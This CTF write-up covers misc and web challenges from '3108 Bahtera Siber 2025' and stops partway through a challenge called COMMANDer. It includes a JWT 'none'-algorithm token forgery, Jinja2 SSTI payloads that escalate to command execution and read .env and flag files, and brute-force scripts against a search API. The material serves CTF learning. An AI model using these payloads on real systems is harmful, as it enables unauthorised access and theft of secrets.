
3108 Bahtera Siber 2025
Full Writeup for 30/37 Question
Table of Content
Miscellaneous
Web
LCW JAGUH DUNIA !! (not solved)
Forensic
Pemacu Sebuah Negara (not solved)
Osint
Reverse Engineering
Cryptography
Putri Catur Negara (not solved)
Reversing
Pwn Exploitation
Boot-2-Root
Miscellaneous
Kotak Angkasa
Question
“Di dalam ruang angkasa, di tengah gelap galaksi, tersembunyi sebuah kotak misteri. Kotak ini tidak sekadar permainan biasa – ia menyimpan rahsia yang hanya dapat dipecahkan oleh minda tajam dan tangan yang cekap.
Sebagai pewaris ilmu Dr. Sheikh Muszaphar Shukor, angkasawan pertama Malaysia, Perwira ditugaskan untuk menyelesaikan teka-teki ini. Hanya mereka yang mampu menyusun Kotak Angkasa ke bentuk asalnya akan menemui koordinat rahsia untuk membuka kunci bendera kejayaan.”
Solution
Record the video of scrambling
Slowly follow back the step in reverse to solve the Rubic Cube
Flag: 3108{Sh31kh_MuZ4ph4r_5p4c3_73219}
Komik
Question
Dalam ni ada Flag, tinggal copy paste dan ____ je.
File Given komik.txt
Tags: #unicode-steganography
#invisible-characters
#misc
#3108ctf2025
#zero-width-characters
#quaternary-encoding
#binary-decoding
Solution
First, I examined all the provided files:
Key Observations:
komik.txt
contains Malaysian text about a comic book called "Fried Rice" by Erica Eng
The file appears larger than expected for the visible text content, suggesting hidden data
The suspiciously large file size compared to visible content suggested Unicode steganography - a technique where invisible/zero-width Unicode characters are used to hide data within normal text. To investigate, I examined the Unicode codepoints in the file.
Common invisible Unicode characters:
U+200C
- Zero Width Non-Joiner (ZWNJ)U+200D
- Zero Width Joiner (ZWJ)U+FEFF
- Byte Order Mark (BOM) / Zero Width No-Break SpaceU+202C
- Pop Directional Formatting (PDF)
I created a Python script to analyze the invisible characters embedded in the text:
#!/usr/bin/env python3
"""
Extracts hidden data from invisible Unicode characters
"""
# Read the komik.txt file
with open('komik.txt', 'r', encoding='utf-8') as f:
text = f.read()
print("Original text length:", len(text))
print("First 100 chars:", repr(text[:100]))
# Extract invisible characters and their positions
invisible_chars = []
visible_text = ""
for i, char in enumerate(text):
# Check if character is invisible/zero-width
if ord(char) in [0x200C, 0x200D, 0xFEFF, 0x202C, 0x061C, 0x2066, 0x2067, 0x2068, 0x2069]:
invisible_chars.append((i, char, ord(char), hex(ord(char))))
else:
visible_text += char
print(f"\nFound {len(invisible_chars)} invisible characters:")
for pos, char, code, hex_code in invisible_chars[:20]: # Show first 20
print(f"Position {pos}: U+{hex_code[2:].upper().zfill(4)} ({code})")
# Count occurrences of each invisible character
from collections import Counter
char_counts = Counter([hex_code for _, _, _, hex_code in invisible_chars])
print(f"\nInvisible character frequencies:")
for char, count in char_counts.items():
print(f"{char}: {count}")
Results:
Found 176 invisible characters total
Character frequency distribution:
U+200C
(ZWNJ): 114 occurrencesU+FEFF
(BOM): 26 occurrencesU+200D
(ZWJ): 23 occurrencesU+202C
(PDF): 13 occurrences
With 4 different invisible characters, I assume this was a quaternary encoding system (base-4) where each character represents a 2-bit value.
I developed multiple decoding strategies:
# Strategy: Quaternary encoding mapped to binary
strategies = [
# Binary with 2 most common chars
{"name": "Binary (ZWNJ=0, ZWJ=1)",
"mapping": {'\u200c': '0', '\u200d': '1'},
"ignore_others": True},
# Binary (BOM=0, ZWNJ=1)
{"name": "Binary (BOM=0, ZWNJ=1)",
"mapping": {'\ufeff': '0', '\u200c': '1'},
"ignore_others": True},
# Quaternary to binary (by Unicode value order)
{"name": "Quaternary (by Unicode value)",
"mapping": {'\u200c': '00', '\u200d': '01', '\u202c': '10', '\ufeff': '11'},
"ignore_others": False},
]
def try_decode_binary(binary_str):
"""Try to decode binary string as ASCII"""
if len(binary_str) % 8 != 0:
# Pad with zeros if needed
binary_str = binary_str.ljust((len(binary_str) + 7) // 8 * 8, '0')
try:
result = ""
for i in range(0, len(binary_str), 8):
byte = binary_str[i:i+8]
if len(byte) == 8:
char_code = int(byte, 2)
if 32 <= char_code <= 126: # Printable ASCII
result += chr(char_code)
else:
result += f"[{char_code}]"
return result
except:
return "DECODE_ERROR"
Character Mapping:
\u200c
(U+200C) →00
\u200d
(U+200D) →01
\u202c
(U+202C) →10
\ufeff
(U+FEFF) →11
Complete Solution Script
#!/usr/bin/env python3
"""
Complete solution
"""
def solve_komik_challenge():
# Read the file containing hidden Unicode characters
with open('komik.txt', 'r', encoding='utf-8') as f:
text = f.read()
# Extract invisible characters
invisible_chars = []
for char in text:
if ord(char) in [0x200C, 0x200D, 0xFEFF, 0x202C]:
invisible_chars.append(char)
print(f"Found {len(invisible_chars)} invisible characters")
# Define the quaternary to binary mapping
char_mapping = {
'\u200c': '00', # U+200C (ZWNJ)
'\u200d': '01', # U+200D (ZWJ)
'\u202c': '10', # U+202C (PDF)
'\ufeff': '11' # U+FEFF (BOM)
}
# Convert to binary string
binary_str = ""
for char in invisible_chars:
if char in char_mapping:
binary_str += char_mapping[char]
print(f"Binary string length: {len(binary_str)} bits")
# Decode binary to ASCII
flag = ""
for i in range(0, len(binary_str), 8):
byte = binary_str[i:i+8]
if len(byte) == 8:
char_code = int(byte, 2)
if char_code != 0: # Skip null bytes
flag += chr(char_code)
return flag
if __name__ == "__main__":
flag = solve_komik_challenge()
print(f"\n🚩 FLAG: {flag}")
Decoding Process:
Extract all 176 invisible characters in sequence
Map each character to its 2-bit binary representation
Concatenate all bits to form one long binary string (352 bits total)
Split into 8-bit bytes and convert to ASCII characters
Decoded Output:
[0]3[0]1[0]0[0]8[0]{[0]e[0]1[0]s[0]n[0]e[0]r[0]_[0]r[0]1[0]c[0]3[0]_[0]b[0]0[0]0[0]k[0]}
Where [0]
represents null bytes (0x00).
Removing the null bytes revealed the flag:
Flag: 3108{e1sner_r1c3_b00k}
Permainan Lagenda
Question
Di sinilah bermulanya era permainan video sebelum wujudnya MLBB, PUBG, CSGO dan lain-lain. Bantu Soloz dalam permainan ini untuk mendapatkan flag.
Solution
The goals is to get 400 Points
Each food give you 10 point
Found
snake_score
at local storageChange the value to 390 then continue play to get 400 point and flag revealed
Flag: 3108{ul4r_l3gend}
Ke Makam Bonda
Question
Sebuah puisi agung dari Almarhum Dato' Usman Awang kini bersemadi dalam bentuk alunan suara. Irama dan kata menyimpan dua bahagian rahsia :–
Yang awal terzahir jika dipandang, bukan didengar; Yang akhir terkunci dalam gema yang lebih dalam, hanya dibuka oleh nama pena seorang sasterawan negara.
Temui kedua-dua bahagian bendera, dan satukanlah.
File Given: UNIC-Ke_Makam_Bonda.wav,
README.md
Tags: steganography
audio-analysis
spectrogram
steghide
malaysian-literature
multi-layer
id3-metadata
Solution
File Analysis:
file UNIC-Ke_Makam_Bonda.wav
# Output: UNIC-Ke_Makam_Bonda.wav: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
README Content:
Usman Awang merupakan seorang sasterawan Malaysia, beliau ialah seorang penyair dan ahli drama yang prolifik ketika hayatnya.
Cabaran ini diilhamkan daripada warisan puisi Usman Awang yang bertajuk "Ke Makam Bonda", dan pernah dilagukan oleh kumpulan nasyid UNIC.
🔍 Terdapat DUA bahagian bendera tersembunyi dalam fail audio ini:
🔎 Petunjuk untuk Bahagian Pertama:
"Bait-bait rahsia, lihat dengan mata bukan telinga."
🔐 Petunjuk untuk Bahagian Kedua:
"Nama pena-nya di alam sastera, dua kata, yang menjadi kunci kepada sebuah rahsia."
Semoga berjaya dan Selamat Hari Merdeka! 🇲🇾
Part 1
Based on the hint "lihat dengan mata bukan telinga", we need to analyze the audio visually.
Throw the audio to audacity
Change the view to spectrogram
Examining the spectrogram revealed text patterns
3108{Bondaku_Y4ng_Disayangi
Part 2
The hint mentioned "Nama pena-nya di alam sastera, dua kata"
Research revealed Usman Awang used the pseudonym "Tongkat Warrant"
This consists of exactly two words as hinted
Try detect steghide and use passphrase: Tongkat Warrant
steghide info UNIC-Ke_Makam_Bonda.wav "UNIC-Ke_Makam_Bonda.wav": format: wave audio, PCM encoding capacity: 1.4 MB Try to get information about embedded data ? (y/n) y Enter passphrase: Tongkat Warrant embedded file "Usman Awang.pdf": size: 264.9 KB encrypted: rijndael-128, cbc compressed: yes
Confirmed something embedded and extract hidden content
steghide extract -sf UNIC-Ke_Makam_Bonda.wav
Enter passphrase: Tongkat Warrant wrote extracted data to "Usman Awang.pdf".
Analyze the
Usman Awang.pdf
and get the second half of the flag_Sem0ga_Dirahmati}
Flag: 3108{Bondaku_Y4ng_Disayangi_Sem0ga_Dirahmati}
Seniman Agung
Question
"Di sebalik kehebatan filem-filem P. Ramlee, ada satu rahsia tersembunyi yang hanya peminat tegar mampu temui. Laman web penghormatan ini kelihatan biasa sahaja, tetapi seni dan nostalgia yang terpampang sebenarnya menyimpan sesuatu yang bernilai. Adakah anda mampu menghayati karya agung beliau dan membongkar rahsianya?"
Instance: http://host:port
Tags: web-exploitation
hidden-content
bruteforce
search-functionality
blind-search
Solution
Analyzing the Web Application
The challenge presents a P. Ramlee themed website with a search functionality. The page contains:
<div class="description">
Selamat datang ke laman nostalgia! Di sini tersimpan coretan kisah lama.
Kalau rajin, cuba <b>taip 4 huruf</b> untuk mencari rahsia tersembunyi. 😉
</div>
The hint mentions "taip 4 huruf", suggesting the search requires exactly 4 characters.
API Endpoint Discovery
Through examining the JavaScript code, I identified two main API endpoints:
GET /api/posts
- Returns all postsPOST /api/search
- Searches posts with a query
Step 3: Examining the Data Structure
curl -s "http://5.223.66.228:43623/api/posts" | jq .
Response reveals 10 posts, including:
{
"id": 3,
"title": "Petunjuk Misteri",
"content": "Ada rahsia di sini... *************************",
"author": "misteri",
"date": "1960-03-01"
}
Post ID 3 contains asterisks that likely hide content.
Testing Search Functionality
Search requires exactly 4 characters
Queries with < 4 or > 4 characters return:
{"error":"Query must be 4 characters."}
Discovery
When testing the challenge name "3108":
Post ID 3 (with asterisks) appeared in results, despite "3108" not being visible in the displayed content!
The asterisks are hiding content that contains "3108".
Testing revealed that "108{" also matched post ID 3:
This confirmed the hidden content follows the flag format:
3108{...}
Bruteforce
Since we need exactly 4-character substrings and know the flag starts with "3108{", I developed a systematic approach:
Find the character after "08{" (3 chars + 1 new = 4 chars total)
Continue with next 4-char substring
Repeat until complete flag is discovered
#!/bin/bash
# Testing characters after "08{"
for c in {A..Z}; do
result=$(curl -s -X POST -H "Content-Type: application/json" -d "{\"query\":\"08{$c\"}" "http://5.223.66.228:43623/api/search" | jq -r '.results[]? | select(.id==3) | .id // empty')
if [ ! -z "$result" ]; then
echo "FOUND: 08{$c matches post ID 3!"
fi
done
Result: 08{B
matched post ID 3!
Step 9: Automated Flag Discovery
#!/bin/bash
# Character sets to test
numbers="0123456789"
lowercase="abcdefghijklmnopqrstuvwxyz"
uppercase="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
symbols="!@#\$%^&*()-_=+[]{}\\|;:'\",.<>?/~\`"
all_chars="$numbers$lowercase$uppercase$symbols"
# Function to test if a 4-char substring matches post ID 3
test_substring() {
local query="$1"
if [ ${#query} -ne 4 ]; then
return 1
fi
local result=$(curl -s -X POST -H "Content-Type: application/json" -d "{\"query\":\"$query\"}" "http://5.223.66.228:43623/api/search" 2>/dev/null | jq -r '.results[]? | select(.id==3) | .id // empty' 2>/dev/null)
if [ ! -z "$result" ]; then
return 0
else
return 1
fi
}
# Start with known working prefix
current_flag="3108{Bu"
echo "Starting with known prefix: $current_flag"
# Continue building the flag
position=7
while true; do
echo "Position $position: Testing characters after '${current_flag:(-3)}'"
found_char=""
# Test each possible character
for ((i=0; i<${#all_chars}; i++)); do
char="${all_chars:$i:1}"
new_flag="$current_flag$char"
# Get the last 4 characters for testing
if [ ${#new_flag} -ge 4 ]; then
test_substr="${new_flag:(-4)}"
if test_substring "$test_substr"; then
echo "✅ FOUND: '$test_substr' matches! Character '$char' found at position $position"
found_char="$char"
current_flag="$new_flag"
break
fi
fi
done
if [ -z "$found_char" ]; then
echo "❌ No more characters found. Flag discovery complete!"
break
fi
echo "Current flag: $current_flag"
position=$((position + 1))
done
echo "Discovered flag: $current_flag"
Character-by-Character Discovery:
"08{B" → Found 'B'
"8{Bu" → Found 'u'
"{Buj" → Found 'j'
"Buj4" → Found '4'
"uj4n" → Found 'n'
"j4ng" → Found 'g'
"4ngL" → Found 'L'
"ngL4" → Found '4'
"gL4p" → Found 'p'
"L4p0" → Found '0'
"4p0k" → Found 'k'
"p0k_" → Found '_'
"0k_M" → Found 'M'
"k_M3" → Found '3'
"_M3r" → Found 'r'
"M3rd" → Found 'd'
"3rd3" → Found '3'
"rd3k" → Found 'k'
"d3k4" → Found '4'
"3k4}" → Found '}' (End!)
Flag: 3108{Buj4ngL4p0k_M3rd3k4}
Kotak Angkasa 2
Question
Untuk menakluki cabaran ini, Perwira perlu menguasai bukan sahaja logik dan strategi, tetapi juga kesabaran seorang angkasawan yang mengembara di ruang kosong tanpa sempadan. Mampukah anda mengembalikan keseimbangan Kotak Angkasa ini dan membongkar rahsia bendera tersembunyi?”
Instance: nc host port
Tags: rubiks-cube
kociemba
algorithm
malaysia-space
network-service
misc
cube-solving
Solution
nc 5.223.66.228 58740
🇲🇾 MISI ANGKASA MALAYSIA 🇲🇾
___ __ __ ___ __ __ _______ ________ ________
|\ \ |\ \|\ \|\ \|\ \ |\ \|\ ___ \ |\ __ \|\ ___ \
\ \ \ \ \ \ \ \ \ \ \ \\_\ \ \ __/|\ \ \|\ \ \ \_|\ \
\ \ \ __\ \ \ \ \ \ \ \______ \ \ \_|/_\ \ __ \ \ \ \\ \
\ \ \|\__\_\ \ \ \ \ \|_____|\ \ \ \_|\ \ \ \ \ \ \ \_\\ \
\ \____________\ \__\ \__\ \ \__\ \_______\ \__\ \__\ \_______\
\|____________|\|__|\|__| \|__|\|_______|\|__|\|__|\|_______|
"Satu langkah kecil untuk Sheikh Muszaphar,
satu lompatan besar untuk Malaysia ke angkasa lepas!"
🛰️ Simulator Latihan Angkasawan Malaysia Pertama
🌌 Selesaikan Rubik's Cube dalam Zero Gravity untuk kod misi!
Selamat datang, Kadet Angkasa! 🌌
Anda kini berada dalam modul Soyuz TMA-11 bersama ikon negara, Sheikh Muszaphar Shukor.
Misi anda: Buktikan orientasi ruang dengan menyelesaikan Rubik's Cube di angkasa lepas!
=== STATUS CUBE (Zero-G) ===
R Y Y
G W Y
B B Y
B Y O W W G O O R G R Y
R O G W G W R R G O B B
Y W W G B W B B G W G O
O O R
O Y Y
B R R
Masukkan pergerakan cube (space-separated):
This is a Rubik's Cube solving challenge
The cube is displayed in an unfolded net format
We need to input moves in standard notation (R, U, F, etc.)
Understanding the Cube Format
The cube is shown in this layout:
U U U
U U U
U U U
L L L F F F R R R B B B
L L L F F F R R R B B B
L L L F F F R R R B B B
D D D
D D D
D D D
Where:
U = Up face (top)
L = Left face
F = Front face
R = Right face
B = Back face
D = Down face (bottom)
Kociemba Algorithm
After researching Rubik's cube CTF challenges, I discovered that these often require professional-grade solvers like the Kociemba algorithm.
Manual patterns don't work because:
The cube states are randomly generated
Each connection gives a different scrambled state
Only an optimal solving algorithm can handle arbitrary scrambles
Solution Script
#!/usr/bin/env python3
import socket
import time
import sys
import os
# Add the virtual environment to the path
sys.path.insert(0, '/home/kali/TFS CTF/3108CTF2025/Misc_Kotak_Angkasa_2/cube_solver/lib/python3.13/site-packages')
try:
import kociemba
except ImportError:
print("kociemba not found. Make sure it's installed in the virtual environment.")
sys.exit(1)
def parse_cube_state(output):
"""Parse the cube state from the service output"""
lines = output.split('\n')
cube_lines = []
in_cube_section = False
for line in lines:
if "=== STATUS CUBE" in line:
in_cube_section = True
continue
elif in_cube_section and line.strip() and not line.startswith("Masukkan"):
# Clean the line and extract colors
clean_line = line.strip()
if clean_line:
cube_lines.append(clean_line)
elif "Masukkan pergerakan" in line:
break
return cube_lines
def cube_lines_to_kociemba_format(cube_lines):
"""Convert the cube representation to kociemba format"""
# The service shows cube in this format:
# U U U
# U U U
# U U U
# L L L F F F R R R B B B
# L L L F F F R R R B B B
# L L L F F F R R R B B B
# D D D
# D D D
# D D D
if len(cube_lines) < 9:
print(f"Not enough cube lines: {len(cube_lines)}")
return None
# Extract face data
try:
# Top face (U) - lines 0-2
u_face = []
for i in range(3):
colors = cube_lines[i].split()
u_face.extend(colors)
# Middle faces (L, F, R, B) - lines 3-5
l_face, f_face, r_face, b_face = [], [], [], []
for i in range(3, 6):
colors = cube_lines[i].split()
if len(colors) >= 12:
l_face.extend(colors[0:3])
f_face.extend(colors[3:6])
r_face.extend(colors[6:9])
b_face.extend(colors[9:12])
# Bottom face (D) - lines 6-8
d_face = []
for i in range(6, 9):
colors = cube_lines[i].split()
d_face.extend(colors)
# Kociemba expects: U R F D L B (54 characters total, 9 per face)
# Map colors to standard representation (W=U, R=R, G=F, Y=D, O=L, B=B)
color_map = {'W': 'U', 'R': 'R', 'G': 'F', 'Y': 'D', 'O': 'L', 'B': 'B'}
cube_string = ""
# Order: U R F D L B
for face in [u_face, r_face, f_face, d_face, l_face, b_face]:
for color in face:
if color in color_map:
cube_string += color_map[color]
else:
print(f"Unknown color: {color}")
return None
if len(cube_string) != 54:
print(f"Invalid cube string length: {len(cube_string)}, expected 54")
return None
return cube_string
except Exception as e:
print(f"Error parsing cube: {e}")
return None
def solve_cube():
"""Main solving function"""
try:
# Connect to the service
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("5.223.66.228", 58740))
# Read initial response
initial_data = ""
start_time = time.time()
while time.time() - start_time < 15:
try:
sock.settimeout(3)
data = sock.recv(4096).decode('utf-8', errors='ignore')
initial_data += data
if "Masukkan pergerakan" in data:
break
except socket.timeout:
break
# Parse the cube state
cube_lines = parse_cube_state(initial_data)
if not cube_lines:
print("Failed to parse cube state")
return
# Convert to kociemba format
cube_string = cube_lines_to_kociemba_format(cube_lines)
if not cube_string:
print("Failed to convert to kociemba format")
return
# Solve using kociemba
try:
solution = kociemba.solve(cube_string)
print(f"Solution found: {solution}")
except Exception as e:
print(f"Kociemba solver error: {e}")
return
if solution:
# Send solution to service
sock.send((solution + "\n").encode())
# Read response
response = ""
start_time = time.time()
while time.time() - start_time < 20:
try:
sock.settimeout(3)
data = sock.recv(4096).decode('utf-8', errors='ignore')
response += data
if "3108CTF{" in data or "FLAG{" in data or "flag{" in data:
print("FLAG FOUND!")
print(data)
return data
if "Tahniah" in data or "Berjaya" in data or "selesai" in data:
print("SUCCESS!")
print(data)
return data
if "Masukkan pergerakan" in data or "belum selesai" in data or "dibatalkan" in data:
break
except socket.timeout:
break
print("Full response:")
print(response)
sock.close()
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
solve_cube()
Execution
python3 kociemba_solver.py
Kociemba cube string: DFBBUBBURFDLFRBLUBDRUDFLLRFDBUDDLFFULLRFLLDRBUDFUBURRR
Solution found: R' L' F2 D L2 B D' F2 D' R2 L F2 R2 D' B2 D F2 U' L2 D2 F2
Sending solution: R' L' F2 D L2 B D' F2 D' R2 L F2 R2 D' B2 D F2 U' L2 D2 F2
SUCCESS!
>>> MISI BERJAYA! <<<
Tahniah, Kadet! 🇲🇾 Anda berjaya menyelesaikan Rubik's Cube dalam Zero-G!
Kod Kelulusan Misi: 3108{9a618248b64db62d15b300a07b00580b}
Malaysia Boleh! 🌟 Sheikh Muszaphar pasti bangga dengan anda!
Flag: 3108{9a618248b64db62d15b300a07b00580b}
Web
SuperMokh
Question
Di padang hijau berlari laju, SuperMokh gol tiada terhenti, Walau zaman sudah berlalu, Adakah anda peminat sejati?
https://supermokh.bahterasiber.my
Tags: jwt-vulnerability
algorithm-confusion
none-algorithm
authentication-bypass
web-exploitation
base64-decoding
session-manipulation
Solution
First, I accessed the website and examined the source code:
curl -s "https://supermokh.bahterasiber.my" | grep -E "(comment|base64|hidden)"
Hidden base64 string in HTML comment:
<!-- Z3Vlc3Q6U2VsYW5nb3IxOTcyXzE5ODc= -->
echo "Z3Vlc3Q6U2VsYW5nb3IxOTcyXzE5ODc=" | base64 -d
Output: guest:Selangor1972_1987
guest
= usernameSelangor1972_1987
= password
Logging in as Guest User
curl -X POST "https://supermokh.bahterasiber.my/login.php" \
-d "username=guest&password=Selangor1972_1987" \
-c guest_session.txt -v
Successful login with 302 redirect to
dashboard.php
Received JWT token in
auth_token
cookieAlso got
PHPSESSID
for session management
JWT Token Received:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InZpc2l0b3IiLCJpYXQiOjE3NTY0ODA3NzMsImV4cCI6MTc1NjQ4NDM3M30.J5pzKdho1OA6a2CxwaHVzG2tv_aBbTpQz6IYAR66l9E
Decoding the JWT payload:
echo "eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InZpc2l0b3IiLCJpYXQiOjE3NTY0ODA3NzMsImV4cCI6MTc1NjQ4NDM3M30" | base64 -d
{
"username": "guest",
"role": "visitor",
"iat": 1756480773,
"exp": 1756484373
}
Testing Dashboard Endpoint
curl -X POST "https://supermokh.bahterasiber.my/dashboard.php" \
-H "Content-Type: application/json" \
-d '{"action": "check_access"}' \
-b guest_session.txt
{"success":false,"message":"Access denied. Only SuperMokh can view the flag. Current user: guest"}
Direct Flag Access Attempt
curl "https://supermokh.bahterasiber.my/flag.php" -b guest_session.txt
Access denied - confirms need for "SuperMokh" username.
Application checks username specifically for "SuperMokh"
Need to forge a JWT token with different username
JWT manipulation might be possible
JWT Header Analysis
The original JWT header (base64 decoded):
{"typ":"JWT","alg":"HS256"}
Application uses HMAC SHA-256 algorithm
Common JWT vulnerabilities:
Algorithm confusion (RS256 → HS256)
None algorithm bypass
Weak secret key
Missing signature verification
Testing "None" Algorithm Attack
Vulnerability: Many JWT implementations improperly handle the "none" algorithm, allowing unsigned tokens.
Create JWT with
"alg": "none"
Set username to "SuperMokh"
Remove signature (empty signature section)
Implementation:
import base64
import json
# Create forged JWT header
header = {"typ": "JWT", "alg": "none"}
# Create forged payload with SuperMokh username
payload = {
"username": "SuperMokh",
"role": "admin",
"iat": 1756480773,
"exp": 1756484373
}
# Base64 encode (URL-safe, no padding)
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip('=')
# Create JWT with empty signature (none algorithm)
forged_jwt = f"{header_b64}.{payload_b64}."
print(f"Forged JWT: {forged_jwt}")
Generated Forged JWT:
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VybmFtZSI6ICJTdXBlck1va2giLCAicm9sZSI6ICJhZG1pbiIsICJpYXQiOiAxNzU2NDgwNzczLCAiZXhwIjogMTc1NjQ4NDM3M30.
Cookie Manipulation
Replace the original JWT token in the cookie file:
# Create new cookie file with forged JWT
cp guest_session.txt forged_session.txt
# Replace auth_token with forged JWT (manual edit or sed)
sed -i 's/auth_token\teyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9[^[:space:]]*/auth_token\teyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0.eyJ1c2VybmFtZSI6ICJTdXBlck1va2giLCAicm9sZSI6ICJhZG1pbiIsICJpYXQiOiAxNzU2NDgwNzczLCAiZXhwIjogMTc1NjQ4NDM3M30./' forged_session.txt
Testing Forged Token
curl -X POST "https://supermokh.bahterasiber.my/dashboard.php" \
-H "Content-Type: application/json" \
-d '{"action": "check_access"}' \
-b forged_session.txt
{"success":true,"message":"Access granted! Welcome, legend!"}
Capturing the Flag
curl "https://supermokh.bahterasiber.my/flag.php" -b forged_session.txt
Flag Retrieved:
<div class="flag-box">
<code>3108{m0kht4r_d4h4r1_l3g3nd_n3v3r_d13s}</code>
</div>
Flag: 3108{m0kht4r_d4h4r1_l3g3nd_n3v3r_d13s}
Pemimpin
Question
Perdana Menteri merupakan ketua kerajaan Malaysia dan memainkan peranan penting dalam menentukan hala tuju negara dan memastikan tanah air terus melangkah ke arah pembangunan serta kesejahteraan rakyat sejak detik kemerdekaan. Persoalannya, adakah anda kenal siapa mereka semua?
https://pemimpin.bahterasiber.my
Tags: #web
#ctf
#client-side
#cookies
#tampering
#javascript
#devtools
#polling
#insecure-design
Solution
Opening DevTools and reading the bundled files reveals two components:
index.html
: displays PM cards and includesclient.js
.client.js
: contains all the client logic (and even a comment shouting NO FLAG HERE).
// client.js
window.onload = function() {
document.cookie = "tahun_merdeka=false; path=/";
document.cookie = "bulan_merdeka=false; path=/";
document.cookie = "hari_merdeka=false; path=/";
startFlagValidation();
};
const correctSequence = ['Tunku', 'Razak', 'Hussein', 'Mahathir', 'Abdullah',
'Najib', 'Mahathir2', 'Muhyiddin', 'Ismail', 'Anwar'];
Cookies are explicitly initialized to
false
on load and reset again by the “Mula Semula” button.The entire correct answer (PM order) is hardcoded in
correctSequence
.Two backend endpoints exist:
/validate-sequence
— validates the order you submit./validate-flag
— returns the flag iffquizCompleted
istrue
and the Merdeka date cookies are correct.
A polling loop is started on page load to call
/validate-flag
every 2 seconds but only whenquizCompleted === true
.
function checkForFlag() {
fetch('/validate-flag', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
cookies: document.cookie,
quizCompleted: quizCompleted
})
})
.then(r => r.json())
.then(data => { if (data.success && data.flag) displayFlag(data.flag); });
}
So, there are two gates we must meet on the client:
quizCompleted = true
(set when the sequence check succeeds), andCookies:
tahun_merdeka=1957; bulan_merdeka=8; hari_merdeka=31
.
Bypass user interaction by setting the selection state directly from the built-in
correctSequence
:selectedSequence = correctSequence.slice();
Call UI updater:
updateSequenceDisplay();
Trigger the “check” to flip
quizCompleted
totrue
and start the flag poller:checkSequence();
Satisfy the cookie check by overwriting the three cookies with the Merdeka date:
tahun_merdeka=1957
(year),bulan_merdeka=8
(month),hari_merdeka=31
(day).
Sit back— the 2-second poll to
/validate-flag
returns JSON with the flag, and the banner prints it to the page and logs it in the console.
Open the challenge, press F12 → Console.
Paste and run the following:
// Set Merdeka (31/8/1957) cookies document.cookie = "tahun_merdeka=1957; path=/"; document.cookie = "bulan_merdeka=8; path=/"; document.cookie = "hari_merdeka=31; path=/"; // Auto-select the hardcoded correct PM order and submit selectedSequence = correctSequence.slice(); updateSequenceDisplay(); checkSequence();
Flag: 3188{p3m1mp1n_m4l4ysI4}
Pelumba Negara
Question
Arkib digital ini telah dibangunkan untuk pemandu F1 pertama Malaysia. Walau bagaimanapun, sistem ini ada kelemahan dan dapatkah anda untuk mengumpul semua serpihan maklumat bersejarah yang disembunyikan?
Instance: http://host:port
Tags: #ssti
#template-injection
#jinja2
#rce
#file-enumeration
#multi-part-flag
#web-exploitation
Solution
The application appeared to be an archive system for Alex Yoong, Malaysia's first Formula 1 driver, with a form that accepts user input.
I tested for Server-Side Template Injection (SSTI) by submitting template syntax in the form:
Initial Test Payload:
curl -s -X POST -d 'name={{ 7*7 }}' http://5.223.66.228:44347/
When the application returned 49
instead of {{ 7*7 }}
, this confirmed the presence of SSTI vulnerability, likely using Jinja2 template engine (common in Flask applications).
I escalated the SSTI to RCE using the following payload to access Python's os
module through Jinja2's global objects:
RCE Test Payload:
curl -s -X POST -d 'name={{ cycler.__init__.__globals__.os.popen("ls -la").read() }}' http://5.223.66.228:44347/ | grep -A5 'result-content'
Output:
total 32
drwxr-xr-x 1 ctfuser ctfuser 4096 Aug 28 03:23 .
drwxr-xr-x 1 root root 4096 Aug 29 18:08 ..
-rw-rw-r-- 1 ctfuser ctfuser 219 Jul 28 20:32 .env
-rw-rw-r-- 1 ctfuser ctfuser 380 Aug 14 08:17 Minardi2002.txt
-rw-rw-r-- 1 ctfuser ctfuser 444 Jul 28 20:27 flag.txt
I found a .env
file which typically contains configuration and sensitive information:
Command:
curl -s -X POST -d 'name={{ cycler.__init__.__globals__.os.popen("cat .env").read() }}' http://5.223.66.228:44347/ | grep -A20 'result-content'
.env Contents:
# Alex Yoong F1 Career Configuration
# Malaysia's First Formula 1 Driver Database
# F1 Career Files
F1_DEBUT_YEAR_FILE=/usr/1976.txt
MALAYSIAN_DRIVER_DATA=/var/malaysia.txt
SEPANG_CIRCUIT_INFO=/tmp/f1.txt
This revealed three important file paths that likely contained flag fragments!
Collecting Flag Fragments
Based on the .env
file, I systematically read each flag file:
Fragment 1: /tmp/f1.txt
curl -s -X POST --data-urlencode "name={{ cycler.__init__.__globals__.os.popen(\"cat /tmp/f1.txt\").read() }}" http://5.223.66.228:44347/ | sed -n '/<div class="result-content">/,/<\/div>/{ /div class/d; p }'
Fragment Found: 3108{d4r1_Kud14_Lumpur_k3
Fragment 2: /var/malaysia.txt
curl -s -X POST --data-urlencode "name={{ cycler.__init__.__globals__.os.popen(\"cat /var/malaysia.txt\").read() }}" http://5.223.66.228:44347/ | sed -n '/<div class="result-content">/,/<\/div>/{ /div class/d; p }'
Fragment Found: _p3nt4s_duni4_Alex_Y00ng_
Fragment 3: /usr/1976.txt
curl -s -X POST --data-urlencode "name={{ cycler.__init__.__globals__.os.popen(\"cat /usr/1976.txt\").read() }}" http://5.223.66.228:44347/ | sed -n '/<div class="result-content">/,/<\/div>/{ /div class/d; p }'
Fragment Found: f1rst_M4l4ysi4n_F1_dr1v3r}
Combining all three fragments in the correct order:
Flag: 3108{d4r1_Kud14_Lumpur_k3_p3nt4s_duni4_Alex_Y00ng_f1rst_M4l4ysi4n_F1_dr1v3r}
COMMANDer
Question
Terminal lama ini menyimpan biodata seseorang bersama rahsianya. Namun, rahsia itu hanya akan terbuka kepada mereka yang tahu menggunakan arahan yang tepat. Mampukah anda menguasai terminal ini untuk membongkar kebenaran?
https://komander.bahterasiber.my
Tags: #api-enumeration
#javascript-analysis
#hidden-functionality
#source-code-analysis
#endpoint-discovery
